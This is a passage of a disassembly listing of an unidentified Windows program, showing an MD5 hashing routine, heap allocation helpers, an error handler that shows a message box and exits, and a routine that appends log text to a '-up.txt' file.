eax mov [ebp+var_C], edi or edx, ebx mov ebx, [ebp+var_8] add edx, [ebp+var_44] lea ebx, [ebx+edx-3E423112h] mov edx, ebx shl edx, 16h shr ebx, 0Ah or edx, ebx add edx, edi mov ebx, edx and edi, edx not ebx and ebx, ecx or ebx, edi add ebx, [ebp+var_40] lea eax, [eax+ebx-0A83F051h] mov edi, eax shr edi, 19h shl eax, 7 or edi, eax mov eax, edx add edi, edx mov [ebp+var_4], edi and eax, [ebp+var_4] not edi and edi, [ebp+var_C] or edi, eax add edi, [ebp+var_3C] lea ecx, [ecx+edi+4787C62Ah] mov eax, ecx shr eax, 14h shl ecx, 0Ch or eax, ecx add eax, [ebp+var_4] mov ecx, eax mov edi, eax and edi, [ebp+var_4] mov ebx, eax not ecx and ecx, edx or ecx, edi mov edi, [ebp+var_C] add ecx, [ebp+var_38] lea edi, [edi+ecx-57CFB9EDh] mov ecx, edi shr ecx, 0Fh shl edi, 11h or ecx, edi add ecx, eax mov edi, ecx and ebx, ecx not edi and edi, [ebp+var_4] or edi, ebx mov ebx, ecx add edi, [ebp+var_34] lea edx, [edx+edi-2B96AFFh] mov edi, edx shl edi, 16h shr edx, 0Ah or edi, edx add edi, ecx mov edx, edi and ebx, edi not edx and edx, eax mov [ebp+var_8], edi or edx, ebx mov ebx, [ebp+var_4] add edx, [ebp+var_30] lea ebx, [ebx+edx+698098D8h] mov edx, ebx shr edx, 19h shl ebx, 7 or edx, ebx add edx, edi mov ebx, edx and edi, edx not ebx and ebx, ecx or ebx, edi add ebx, [ebp+var_2C] lea eax, [eax+ebx-74BB0851h] mov edi, eax shr edi, 14h shl eax, 0Ch or edi, eax add edi, edx mov eax, edi mov ebx, edi not eax and eax, [ebp+var_8] and ebx, edx or eax, ebx add eax, [ebp+var_28] lea ecx, [ecx+eax-0A44Fh] mov ebx, ecx shr ebx, 0Fh shl ecx, 11h or ebx, ecx mov ecx, edi add ebx, edi mov eax, ebx and ecx, ebx not eax and eax, edx mov [ebp+var_C], ebx or eax, ecx mov ecx, [ebp+var_8] add eax, [ebp+var_24] lea ecx, [ecx+eax-76A32842h] mov eax, ecx shl eax, 16h shr ecx, 0Ah or eax, ecx add eax, ebx mov ecx, eax and ebx, eax not ecx and ecx, edi or ecx, ebx add ecx, [ebp+var_20] lea edx, [edx+ecx+6B901122h] mov ecx, edx shr ecx, 19h shl edx, 7 or ecx, edx mov edx, eax add ecx, eax mov [ebp+var_4], ecx and edx, [ebp+var_4] not ecx and ecx, [ebp+var_C] or ecx, edx add ecx, [ebp+var_1C] lea edi, [edi+ecx-2678E6Dh] mov ecx, edi shr ecx, 14h shl edi, 0Ch or ecx, edi add ecx, [ebp+var_4] mov [ebp+arg_0], ecx mov edi, ecx not [ebp+arg_0] mov edx, [ebp+arg_0] and edi, [ebp+var_4] and edx, eax mov ebx, ecx or edx, edi mov edi, [ebp+var_C] add edx, [ebp+var_18] lea edi, [edi+edx-5986BC72h] mov edx, edi shr edx, 0Fh shl edi, 11h or edx, edi add edx, ecx mov [ebp+var_10], edx and ebx, edx not [ebp+var_10] mov edi, [ebp+var_10] and edi, [ebp+var_4] or edi, ebx mov ebx, ecx add edi, [ebp+var_14] lea eax, [eax+edi+49B40821h] mov edi, eax shl edi, 16h shr eax, 0Ah or edi, eax mov eax, [ebp+arg_0] add edi, edx and eax, edx and ebx, edi or eax, ebx mov ebx, [ebp+var_4] add eax, [ebp+var_4C] lea eax, [ebx+eax-9E1DA9Eh] mov ebx, eax shr ebx, 1Bh shl eax, 5 or ebx, eax mov eax, [ebp+var_10] and eax, edi add ebx, edi mov [ebp+arg_0], eax mov eax, edx and eax, ebx mov [ebp+var_4], ebx mov ebx, eax mov eax, [ebp+arg_0] or eax, ebx add eax, [ebp+var_38] lea ecx, [ecx+eax-3FBF4CC0h] mov eax, ecx shr eax, 17h shl ecx, 9 or eax, ecx mov ecx, edi add eax, [ebp+var_4] not ecx and ecx, [ebp+var_4] mov ebx, eax and ebx, edi or ecx, ebx add ecx, [ebp+var_24] lea edx, [edx+ecx+265E5A51h] mov ecx, edx shr ecx, 12h shl edx, 0Eh or ecx, edx mov edx, [ebp+var_4] add ecx, eax mov [ebp+var_C], ecx and ecx, [ebp+var_4] not edx and edx, eax mov ebx, [ebp+var_C] or edx, ecx add edx, [ebp+var_50] lea edi, [edi+edx-16493856h] mov edx, eax mov ecx, edi shl ecx, 14h shr edi, 0Ch or ecx, edi mov edi, eax add ecx, ebx not edx and edx, ebx and edi, ecx or edx, edi mov edi, [ebp+var_4] add edx, [ebp+var_3C] lea edx, [edi+edx-29D0EFA3h] mov edi, edx shr edi, 1Bh shl edx, 5 or edi, edx mov edx, ebx add edi, ecx mov [ebp+var_4], edi mov edi, ebx and edi, [ebp+var_4] not edx and edx, ecx or edx, edi add edx, [ebp+var_28] lea eax, [eax+edx+2441453h] mov edx, eax shr edx, 17h shl eax, 9 or edx, eax mov eax, ecx add edx, [ebp+var_4] not eax and eax, [ebp+var_4] mov edi, edx and edi, ecx or eax, edi add eax, [ebp+var_14] lea edi, [ebx+eax-275E197Fh] mov eax, edi shr eax, 12h shl edi, 0Eh or eax, edi mov edi, [ebp+var_4] add eax, edx mov ebx, eax and ebx, [ebp+var_4] not edi and edi, edx or edi, ebx mov ebx, edx add edi, [ebp+var_40] lea ecx, [ecx+edi-182C0438h] mov edi, ecx shl edi, 14h shr ecx, 0Ch or edi, ecx mov ecx, edx add edi, eax not ecx and ecx, eax and ebx, edi or ecx, ebx mov ebx, [ebp+var_4] add ecx, [ebp+var_2C] mov [ebp+var_8], edi lea ebx, [ebx+ecx+21E1CDE6h] mov ecx, ebx shr ecx, 1Bh shl ebx, 5 or ecx, ebx mov ebx, eax not ebx add ecx, edi and ebx, edi mov edi, eax and edi, ecx or ebx, edi add ebx, [ebp+var_18] lea edx, [edx+ebx-3CC8F82Ah] mov edi, edx shr edi, 17h shl edx, 9 or edi, edx mov edx, [ebp+var_8] add edi, ecx mov ebx, edi and ebx, [ebp+var_8] not edx and edx, ecx or edx, ebx add edx, [ebp+var_44] lea eax, [eax+edx-0B2AF279h] mov edx, eax shr edx, 12h shl eax, 0Eh or edx, eax mov eax, ecx add edx, edi not eax mov ebx, edx and eax, edi and ebx, ecx or eax, ebx mov ebx, [ebp+var_8] add eax, [ebp+var_30] lea eax, [ebx+eax+455A14EDh] mov ebx, eax shl ebx, 14h shr eax, 0Ch or ebx, eax mov eax, edi add ebx, edx mov [ebp+var_8], ebx not eax mov ebx, edi and eax, edx and ebx, [ebp+var_8] or eax, ebx add eax, [ebp+var_1C] lea ecx, [ecx+eax-561C16FBh] mov eax, ecx shr eax, 1Bh shl ecx, 5 or eax, ecx mov ecx, edx add eax, [ebp+var_8] mov [ebp+var_4], eax and ecx, [ebp+var_4] mov eax, edx mov ebx, [ebp+var_4] not eax and eax, [ebp+var_8] or eax, ecx mov ecx, [ebp+var_8] add eax, [ebp+var_48] not ecx and ecx, ebx lea edi, [edi+eax-3105C08h] mov eax, edi shr eax, 17h shl edi, 9 or eax, edi add eax, ebx mov edi, eax and edi, [ebp+var_8] or ecx, edi add ecx, [ebp+var_34] lea edx, [edx+ecx+676F02D9h] mov ecx, edx shr ecx, 12h shl edx, 0Eh or ecx, edx mov edx, ebx add ecx, eax not edx mov edi, ecx and edx, eax and edi, ebx or edx, edi mov edi, [ebp+var_8] add edx, [ebp+var_20] lea edi, [edi+edx-72D5B376h] mov edx, edi shl edx, 14h shr edi, 0Ch or edx, edi mov edi, eax add edx, ecx xor edi, ecx xor edi, edx add edi, [ebp+var_3C] lea ebx, [ebx+edi-5C6BEh] mov edi, ebx shr edi, 1Ch shl ebx, 4 or edi, ebx mov ebx, ecx add edi, edx xor ebx, edx xor ebx, edi add ebx, [ebp+var_30] lea eax, [eax+ebx-788E097Fh] mov ebx, eax shr ebx, 15h shl eax, 0Bh or ebx, eax add ebx, edi mov eax, ebx xor eax, edx xor eax, edi add eax, [ebp+var_24] lea ecx, [ecx+eax+6D9D6122h] mov eax, ecx shr eax, 10h shl ecx, 10h or eax, ecx mov ecx, ebx add eax, ebx xor ecx, eax mov [ebp+var_C], eax mov eax, ecx xor eax, edi add eax, [ebp+var_18] lea edx, [edx+eax-21AC7F4h] mov eax, edx shl eax, 17h shr edx, 9 or eax, edx add eax, [ebp+var_C] xor ecx, eax add ecx, [ebp+var_4C] lea edi, [edi+ecx-5B4115BCh] mov ecx, edi shr ecx, 1Ch shl edi, 4 or ecx, edi mov edi, [ebp+var_C] mov edx, edi add ecx, eax xor edx, eax xor edx, ecx add edx, [ebp+var_40] lea ebx, [ebx+edx+4BDECFA9h] mov edx, ebx shr edx, 15h shl ebx, 0Bh or edx, ebx add edx, ecx mov ebx, edx mov [ebp+arg_0], edx xor ebx, eax xor ebx, ecx add ebx, [ebp+var_34] lea ebx, [edi+ebx-944B4A0h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx add edi, edx xor [ebp+arg_0], edi mov ebx, [ebp+arg_0] xor ebx, ecx add ebx, [ebp+var_28] lea ebx, [eax+ebx-41404390h] mov eax, ebx shl eax, 17h shr ebx, 9 or eax, ebx mov ebx, [ebp+arg_0] add eax, edi xor ebx, eax add ebx, [ebp+var_1C] lea ebx, [ecx+ebx+289B7EC6h] mov ecx, ebx shr ecx, 1Ch shl ebx, 4 or ecx, ebx mov ebx, edi add ecx, eax xor ebx, eax xor ebx, ecx add ebx, [ebp+var_50] lea edx, [edx+ebx-155ED806h] mov ebx, edx shr ebx, 15h shl edx, 0Bh or ebx, edx add ebx, ecx mov edx, ebx xor edx, eax xor edx, ecx add edx, [ebp+var_44] lea edx, [edi+edx-2B10CF7Bh] mov edi, edx shr edi, 10h shl edx, 10h or edi, edx mov [ebp+arg_0], ebx add edi, ebx xor [ebp+arg_0], edi mov edx, [ebp+arg_0] xor edx, ecx add edx, [ebp+var_38] lea edx, [eax+edx+4881D05h] mov eax, edx shl eax, 17h shr edx, 9 or eax, edx mov edx, [ebp+arg_0] add eax, edi xor edx, eax add edx, [ebp+var_2C] lea edx, [ecx+edx-262B2FC7h] mov ecx, edx shr ecx, 1Ch shl edx, 4 or ecx, edx mov edx, edi xor edx, eax add ecx, eax xor edx, ecx add edx, [ebp+var_20] lea ebx, [ebx+edx-1924661Bh] mov edx, ebx shr edx, 15h shl ebx, 0Bh or edx, ebx add edx, ecx mov ebx, edx xor ebx, eax xor ebx, ecx add ebx, [ebp+var_14] lea ebx, [edi+ebx+1FA27CF8h] mov edi, ebx shr edi, 10h shl ebx, 10h or edi, ebx mov ebx, edx add edi, edx xor ebx, edi xor ebx, ecx add ebx, [ebp+var_48] lea eax, [eax+ebx-3B53A99Bh] mov ebx, eax shl ebx, 17h shr eax, 9 or ebx, eax mov eax, edx add ebx, edi not eax or eax, ebx xor eax, edi add eax, [ebp+var_50] lea eax, [ecx+eax-0BD6DDBCh] mov ecx, eax shr ecx, 1Ah shl eax, 6 or ecx, eax mov eax, edi add ecx, ebx not eax or eax, ecx xor eax, ebx add eax, [ebp+var_34] lea eax, [edx+eax+432AFF97h] mov edx, eax shr edx, 16h shl eax, 0Ah or edx, eax mov eax, ebx add edx, ecx not eax or eax, edx xor eax, ecx add eax, [ebp+var_18] lea eax, [edi+eax-546BDC59h] mov edi, eax shr edi, 11h shl eax, 0Fh or edi, eax mov eax, ecx add edi, edx push 85845DD1h not eax or eax, edi push 15h xor eax, edx push [ebp+var_4C] add eax, [ebp+var_3C] lea ebx, [ebx+eax-36C5FC7h] mov eax, ebx shl eax, 15h shr ebx, 0Bh or eax, ebx mov ebx, edx add eax, edi not ebx or ebx, eax mov [ebp+var_8], eax xor ebx, edi add ebx, [ebp+var_20] lea ecx, [ecx+ebx+655B59C3h] mov ebx, ecx shr ebx, 1Ah shl ecx, 6 or ebx, ecx mov ecx, edi add ebx, eax not ecx or ecx, ebx push ebx xor ecx, eax mov [ebp+var_4], ebx add ecx, [ebp+var_44] not eax lea edx, [edx+ecx-70F3336Eh] mov ecx, edx shr ecx, 16h shl edx, 0Ah or ecx, edx add ecx, ebx or eax, ecx push ecx xor eax, ebx mov [ebp+var_10], ecx add eax, [ebp+var_28] lea eax, [edi+eax-100B83h] mov edx, eax shr edx, 11h shl eax, 0Fh or edx, eax lea eax, [ebp+var_8] add edx, ecx push edx push eax mov [ebp+var_C], edx call sub_41B970 push 6FA87E4Fh push 6 push [ebp+var_30] lea eax, [ebp+var_4] push [ebp+var_10] push [ebp+var_C] push [ebp+var_8] push eax call sub_41B970 push 0FE2CE6E0h push 0Ah push [ebp+var_14] lea eax, [ebp+var_10] push [ebp+var_C] push [ebp+var_8] push [ebp+var_4] push eax call sub_41B970 add esp, 54h push 0A3014314h push 0Fh push [ebp+var_38] lea eax, [ebp+var_C] push [ebp+var_8] push [ebp+var_4] push [ebp+var_10] push eax call sub_41B970 push 4E0811A1h push 15h push [ebp+var_1C] lea eax, [ebp+var_8] push [ebp+var_4] push [ebp+var_10] push [ebp+var_C] push eax call sub_41B970 push 0F7537E82h push 6 push [ebp+var_40] lea eax, [ebp+var_4] push [ebp+var_10] push [ebp+var_C] push [ebp+var_8] push eax call sub_41B970 add esp, 54h lea eax, [ebp+var_10] push 0BD3AF235h push 0Ah push [ebp+var_24] push [ebp+var_C] push [ebp+var_8] push [ebp+var_4] push eax call sub_41B970 push 2AD7D2BBh push 0Fh push [ebp+var_48] lea eax, [ebp+var_C] push [ebp+var_8] push [ebp+var_4] push [ebp+var_10] push eax call sub_41B970 push 0EB86D391h push 15h push [ebp+var_2C] lea eax, [ebp+var_8] push [ebp+var_4] push [ebp+var_10] push [ebp+var_C] push eax call sub_41B970 mov eax, [ebp+var_4] add esp, 54h add [esi], eax mov eax, [ebp+var_8] add [esi+4], eax mov eax, [ebp+var_C] add [esi+8], eax mov eax, [ebp+var_10] add [esi+0Ch], eax pop edi pop esi pop ebx leave retn 4 sub_41B0C8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B970 proc near ; CODE XREF: sub_41B0C8+79Cp ; sub_41B0C8+7B8p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp mov eax, [ebp+arg_C] mov edx, [ebp+arg_0] not eax or eax, [ebp+arg_4] push esi push 20h xor eax, [ebp+arg_8] pop ecx sub ecx, [ebp+arg_14] add eax, [edx] add eax, [ebp+arg_10] add eax, [ebp+arg_18] mov esi, eax shr esi, cl mov ecx, [ebp+arg_14] shl eax, cl or esi, eax add esi, [ebp+arg_4] mov [edx], esi pop esi pop ebp retn sub_41B970 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9A3 proc near ; CODE XREF: _3:0041B03Fp _3:0041B07Ap arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jbe short loc_41B9E6 mov edx, [ebp+arg_0] mov ecx, [ebp+arg_4] push esi or esi, 0FFFFFFFFh lea eax, [edx+1] sub esi, edx loc_41B9BB: ; CODE XREF: sub_41B9A3+40j mov dl, [ecx] mov [eax-1], dl mov edx, [ecx] shr edx, 8 mov [eax], dl mov edx, [ecx] shr edx, 10h mov [eax+1], dl mov edx, [ecx] shr edx, 18h mov [eax+2], dl add eax, 4 add ecx, 4 lea edx, [esi+eax] cmp edx, [ebp+arg_8] jb short loc_41B9BB pop esi loc_41B9E6: ; CODE XREF: sub_41B9A3+7j pop ebp retn 0Ch sub_41B9A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41B9EA proc near ; CODE XREF: sub_41B0C8+2Bp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jbe short loc_41BA2E mov edx, [ebp+arg_4] mov ecx, [ebp+arg_0] push esi push edi push 0FFFFFFFEh lea eax, [edx+2] pop esi sub esi, edx loc_41BA03: ; CODE XREF: sub_41B9EA+40j movzx edi, byte ptr [eax-1] xor edx, edx mov dh, [eax+1] mov dl, [eax] add eax, 4 shl edx, 8 or edx, edi movzx edi, byte ptr [eax-6] shl edx, 8 or edx, edi mov [ecx], edx lea edx, [esi+eax] add ecx, 4 cmp edx, [ebp+arg_8] jb short loc_41BA03 pop edi pop esi loc_41BA2E: ; CODE XREF: sub_41B9EA+7j pop ebp retn 0Ch sub_41B9EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA32 proc near ; CODE XREF: _3:00412C91p _3:00412CB2p ... var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push 0 push 0 push 0 push [ebp+var_4] call ds:dword_4246F8 ; RaiseException leave retn sub_41BA32 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA4A proc near ; CODE XREF: sub_411310+3BAp ; _3:00412E90p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx call sub_41BA87 mov [ebp+var_8], eax cmp [ebp+arg_0], 0 jnz short loc_41BA61 xor eax, eax jmp short locret_41BA85 ; --------------------------------------------------------------------------- loc_41BA61: ; CODE XREF: sub_41BA4A+11j push [ebp+arg_0] push 8 push [ebp+var_8] call ds:dword_4246C0 ; RtlAllocateHeap mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41BA82 mov ecx, 0EF000009h call sub_41BA32 loc_41BA82: ; CODE XREF: sub_41BA4A+2Cj mov eax, [ebp+var_4] locret_41BA85: ; CODE XREF: sub_41BA4A+15j leave retn sub_41BA4A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BA87 proc near ; CODE XREF: sub_41BA4A+5p ; sub_41BACD:loc_41BAD9p var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp ds:dword_4249A4, 0 jnz short loc_41BAB0 push 0 push 10000h push 0 call ds:dword_4246C8 ; HeapCreate mov [ebp+var_4], eax mov eax, [ebp+var_4] mov ds:dword_4249A4, eax jmp short loc_41BAB8 ; --------------------------------------------------------------------------- loc_41BAB0: ; CODE XREF: sub_41BA87+Bj mov eax, ds:dword_4249A4 mov [ebp+var_4], eax loc_41BAB8: ; CODE XREF: sub_41BA87+27j cmp [ebp+var_4], 0 jnz short loc_41BAC8 mov ecx, 0EF00000Dh call sub_41BA32 loc_41BAC8: ; CODE XREF: sub_41BA87+35j mov eax, [ebp+var_4] leave retn sub_41BA87 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BACD proc near ; CODE XREF: _3:0041221Ep ; sub_41302C+10p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0 jnz short loc_41BAD9 jmp short locret_41BAEF ; --------------------------------------------------------------------------- loc_41BAD9: ; CODE XREF: sub_41BACD+8j call sub_41BA87 mov [ebp+var_4], eax push [ebp+arg_0] push 0 push [ebp+var_4] call ds:dword_4246C4 ; RtlFreeHeap locret_41BAEF: ; CODE XREF: sub_41BACD+Aj leave retn sub_41BACD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BAF1 proc near ; CODE XREF: sub_41BB7C+64p ; sub_41BBE7+3Ap var_4 = dword ptr -4 push ebp mov ebp, esp push ecx mov [ebp+var_4], ecx push 0 push 0 call ds:dword_424744 ; ChangeDisplaySettingsA push 10h push ds:off_4214EC push [ebp+var_4] push 0 call ds:dword_424750 ; MessageBoxA push 0 call ds:dword_424664 ; GetCurrentProcess push eax call ds:dword_424718 ; TerminateProcess leave retn sub_41BAF1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB26 proc near ; CODE XREF: sub_41BB7C+52p ; sub_41BB7C+5Cp ... var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_4214F8 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx push ecx push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_1C], ecx and [ebp+var_4], 0 push [ebp+var_1C] call sub_41BC28 pop ecx or [ebp+var_4], 0FFFFFFFFh jmp short loc_41BB6D ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] or [ebp+var_4], 0FFFFFFFFh loc_41BB6D: ; CODE XREF: sub_41BB26+3Aj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41BB26 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BB7C proc near ; CODE XREF: sub_413056+C4p ; sub_41396C+CDp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = byte ptr 14h push ebp mov ebp, esp sub esp, 0Ch push offset dword_424988 call ds:dword_424644 ; RtlEnterCriticalSection mov [ebp+var_8], offset dword_4249A8 push [ebp+arg_4] push [ebp+arg_0] push offset aErrorAtSDReaso ; "Error at %s:%d\n\nReason: " push [ebp+var_8] call ds:dword_424754 ; wsprintfA add esp, 10h mov [ebp+var_C], eax lea eax, [ebp+arg_C] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_8] mov eax, [ebp+var_8] add eax, [ebp+var_C] push eax call ds:dword_424758 ; wvsprintfA and [ebp+var_4], 0 mov ecx, [ebp+var_8] call sub_41BB26 mov ecx, offset asc_423D28 ; "\n" call sub_41BB26 mov ecx, [ebp+var_8] call sub_41BAF1 leave retn sub_41BB7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BBE7 proc near ; CODE XREF: sub_4184A0+102p ; sub_420D80+8p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov [ebp+var_8], offset dword_4249A8 lea eax, [ebp+arg_4] mov [ebp+var_4], eax push [ebp+var_4] push [ebp+arg_0] push [ebp+var_8] call ds:dword_424758 ; wvsprintfA and [ebp+var_4], 0 mov ecx, [ebp+var_8] call sub_41BB26 mov ecx, offset asc_423D28 ; "\n" call sub_41BB26 mov ecx, [ebp+var_8] call sub_41BAF1 leave retn sub_41BBE7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BC28 proc near ; CODE XREF: sub_41BB26+30p ; sub_41BE16+74p ... var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421508 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 1Ch push ebx push esi push edi push offset dword_424988 call ds:dword_424644 ; RtlEnterCriticalSection and [ebp+var_1C], 0 and [ebp+var_4], 0 mov eax, offset dword_411740 mov eax, [eax+4] mov eax, [eax+60h] mov [ebp+var_20], eax cmp [ebp+var_20], 0 jnz loc_41BD9D push 400h call sub_41BA4A pop ecx mov [ebp+var_30], eax mov eax, [ebp+var_30] mov [ebp+var_1C], eax push 0 call ds:dword_424698 ; GetModuleHandleA mov ecx, offset dword_411740 mov ecx, [ecx+4] mov [ecx+64h], eax mov eax, offset dword_411740 mov eax, [eax+4] cmp dword ptr [eax+64h], 0 jnz short loc_41BCB2 jmp loc_41BDE6 ; --------------------------------------------------------------------------- loc_41BCB2: ; CODE XREF: sub_41BC28+83j push 400h push [ebp+var_1C] mov eax, offset dword_411740 mov eax, [eax+4] push dword ptr [eax+64h] call ds:dword_424694 ; GetModuleFileNameA test eax, eax jnz short loc_41BCD4 jmp loc_41BDE6 ; --------------------------------------------------------------------------- loc_41BCD4: ; CODE XREF: sub_41BC28+A5j mov edi, [ebp+var_1C] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov [ebp+var_24], ecx push offset aUp_txt ; "-up.txt" mov eax, [ebp+var_1C] add eax, [ebp+var_24] push eax call ds:dword_424754 ; wsprintfA pop ecx pop ecx push 0 push 80h push 2 push 0 push 1 push 40000000h push [ebp+var_1C] call ds:dword_424628 ; CreateFileA mov ecx, offset dword_411740 mov ecx, [ecx+4] mov [ecx+60h], eax mov eax, offset dword_411740 mov eax, [eax+4] mov eax, [eax+60h] mov [ebp+var_20], eax cmp [ebp+var_20], 0 jz short loc_41BD38 cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_41BD80 loc_41BD38: ; CODE XREF: sub_41BC28+108j push offset aUp1_txt ; "-up1.txt" mov eax, [ebp+var_1C] add eax, [ebp+var_24] push eax call ds:dword_424754 ; wsprintfA pop ecx pop ecx push 0 push 80h push 2 push 0 push 1 push 40000000h push [ebp+var_1C] call ds:dword_424628 ; CreateFileA mov ecx, offset dword_411740 mov ecx, [ecx+4] mov [ecx+60h], eax mov eax, offset dword_411740 mov eax, [eax+4] mov eax, [eax+60h] mov [ebp+var_20], eax loc_41BD80: ; CODE XREF: sub_41BC28+10Ej cmp [ebp+var_20], 0 jz short loc_41BD8C cmp [ebp+var_20], 0FFFFFFFFh jnz short loc_41BD8E loc_41BD8C: ; CODE XREF: sub_41BC28+15Cj jmp short loc_41BDE6 ; --------------------------------------------------------------------------- loc_41BD8E: ; CODE XREF: sub_41BC28+162j push 2 push 0 push 0 push [ebp+var_20] call ds:dword_424708 ; SetFilePointer loc_41BD9D: ; CODE XREF: sub_41BC28+4Aj cmp [ebp+var_20], 0FFFFFFFFh jz short loc_41BDD7 push 0 lea eax, [ebp+var_28] push eax mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push ecx push [ebp+arg_0] push [ebp+var_20] call ds:dword_42473C ; WriteFile mov edi, [ebp+arg_0] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx cmp [ebp+var_28], ecx jz short loc_41BDD7 jmp short loc_41BDE6 ; --------------------------------------------------------------------------- loc_41BDD7: ; CODE XREF: sub_41BC28+179j ; sub_41BC28+1ABj ... push 0FFFFFFFFh lea eax, [ebp+var_10] push eax call sub_41042A pop ecx pop ecx jmp short loc_41BE07 ; --------------------------------------------------------------------------- loc_41BDE6: ; CODE XREF: sub_41BC28+85j ; sub_41BC28+A7j ... and [ebp+var_2C], 0 jmp short loc_41BDD7 ; --------------------------------------------------------------------------- loc_41BDEC: ; DATA XREF: _4:00421510o push offset dword_424988 call ds:dword_4246D4 ; RtlLeaveCriticalSection mov eax, [ebp+var_1C] mov [ebp+var_34], eax push [ebp+var_34] call sub_41BACD pop ecx retn ; --------------------------------------------------------------------------- loc_41BE07: ; CODE XREF: sub_41BC28+1BCj mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_41BC28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BE16 proc near ; CODE XREF: sub_414C5A+345p ; sub_41C317+1Dp ... var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch ; FUNCTION CHUNK AT 0041BEAB SIZE 0000000F BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421518 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 14h push ebx push esi push edi and [ebp+var_1C], 0 and [ebp+var_4], 0 push 1000h call sub_41BA4A pop ecx mov [ebp+var_28], eax mov eax, [ebp+var_28] mov [ebp+var_1C], eax lea eax, [ebp+arg_4] mov [ebp+var_20], eax push [ebp+var_20] push [ebp+arg_0] push [ebp+var_1C] call ds:dword_424758 ; wvsprintfA mov [ebp+var_24], eax push offset asc_423D5C ; "\r\n" mov eax, [ebp+var_1C] add eax, [ebp+var_24] push eax call ds:dword_424754 ; wsprintfA pop ecx pop ecx and [ebp+var_20], 0 push [ebp+var_1C] call sub_41BC28 pop ecx or [ebp+var_4], 0FFFFFFFFh call sub_41BE9B jmp short loc_41BEAB sub_41BE16 endp ; =============== S U B R O U T I N E ======================================= sub_41BE9B proc near ; CODE XREF: sub_41BE16+7Ep ; DATA XREF: _4:00421520o mov eax, [ebp-1Ch] mov [ebp-2Ch], eax push dword ptr [ebp-2Ch] call sub_41BACD pop ecx retn sub_41BE9B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41BE16 loc_41BEAB: ; CODE XREF: sub_41BE16+83j mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; END OF FUNCTION CHUNK FOR sub_41BE16 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BEBA proc near ; CODE XREF: sub_419995+C6Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch ; FUNCTION CHUNK AT 0041BF73 SIZE 0000000F BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_421528 push offset sub_4104E0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx sub esp, 10h push ebx push esi push edi and [ebp+var_1C], 0 and [ebp+var_20], 0 and 